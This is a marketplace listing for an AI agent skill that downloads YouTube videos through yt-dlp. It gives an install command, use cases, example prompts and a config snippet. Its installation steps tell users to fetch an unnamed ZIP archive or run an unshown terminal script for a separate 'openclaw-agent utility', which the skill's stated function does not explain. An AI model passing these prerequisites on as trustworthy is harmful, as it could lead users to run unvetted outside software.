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Official Verified media Safety 4/5

youtube-video-downloader

Download YouTube videos in various formats and qualities. Use when you need to save videos for offline viewing, extract audio, download playlists, or get specific video formats.

Why use this skill?

Efficiently download YouTube videos, playlists, and audio with the OpenClaw AI YouTube downloader. Supports high-res, subtitles, and metadata.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-fnkxw
Or

What This Skill Does

The youtube-video-downloader skill is a powerful, flexible tool designed to handle media acquisition from YouTube directly through the OpenClaw agent. Built upon the industry-standard yt-dlp framework, this skill enables users to download individual videos, entire playlists, or complete channel archives with precision. Beyond basic downloads, it provides advanced functionality such as format selection (up to 4K resolution), audio extraction to MP3 or M4A, subtitle embedding, and metadata management including thumbnails and chapters. Whether you are building an offline library, archiving content, or creating datasets for media analysis, this skill serves as your primary bridge between online video content and local storage.

Installation

Installation is a two-step process requiring both the OpenClaw utility and the underlying media engine. First, ensure you have the openclaw-agent utility installed on your local machine. Windows users should download the official ZIP archive, while macOS users should follow the provided terminal script to configure the environment. Once the agent is ready, install the skill using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-video-downloader-fnkxw. Finally, ensure Python and pip are installed, then run pip install yt-dlp. For advanced features like format conversion, installing FFmpeg via your system package manager is highly recommended.

Use Cases

  • Offline Archiving: Save long-form educational content or lectures for viewing in areas with limited internet access.
  • Audio Extraction: Convert music videos or podcasts into high-quality MP3s for mobile listening.
  • Content Creation: Quickly retrieve raw video source files for editing, including metadata like thumbnails and subtitles.
  • Automated Research: Download specific segments or ranges of playlists to analyze trends in video channels.

Example Prompts

  1. "Download the highest quality version of this video [URL] and embed the subtitles and thumbnail."
  2. "Extract the audio as an MP3 from this playlist [URL] and format the file names with the playlist index and video title."
  3. "Save the first 10 videos from this channel [URL] at 1080p resolution into my ~/Videos/archive folder."

Tips & Limitations

To avoid performance issues, be mindful that downloading entire channels can consume significant storage and bandwidth. Always use the -F flag to list available formats before initiating large downloads, as this prevents unwanted file sizes. Keep FFmpeg updated to ensure smooth merging of video and audio streams, especially for high-resolution content. Finally, be aware that age-restricted videos or geo-blocked content may require additional authentication or VPN support, which should be configured at the agent level.

Metadata

Stars2387
Views0
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-video-downloader-fnkxw": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#video-downloader#media#archiving#ffmpeg
Safety Score: 4/5

Flags: network-access, file-write